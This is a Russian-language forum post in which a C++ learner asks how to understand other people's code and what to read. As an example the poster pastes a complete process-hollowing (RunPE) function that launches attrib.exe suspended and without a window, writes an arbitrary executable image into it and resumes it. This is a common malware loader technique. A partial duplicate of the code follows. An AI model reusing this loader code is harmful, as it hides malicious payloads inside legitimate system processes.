How to learn c++?

Ребят,учу я с++,но когда я смотрю чужой код - ничего не понимаю,что делать,как и где научиться?
Вот например это, Как это выучить?

int RunPortableExecutable(void* Image) {
IMAGE_DOS_HEADER* DOSHeader;
IMAGE_NT_HEADERS* NtHeader;
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase; // base address of the image
void* pImageBase; // pointer to the image base
int count;
char *CurrentFilePath = "C:\\Windows\\System32\\attrib.exe";


DOSHeader = PIMAGE_DOS_HEADER(Image);
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);

if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {
ZeroMemory(&PI, sizeof(PI));
ZeroMemory(&SI, sizeof(SI));
typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
NtUnmapViewOfSection mNtUnmapViewOfSection;



if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
return 0;
}
}

}
}

Code

    NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);



    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {

                WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);

                for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {

                    SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));

                    WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),

                }

                WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);

                SetThreadContext(PI.hThread, LPCONTEXT(CTX));

                ResumeThread(PI.hThread);

                return 0;

            }

        }



    }

}

Знаю, что тут есть погромисты. Поможете?
Что читать чтобы научиться хорошо писать на с++?
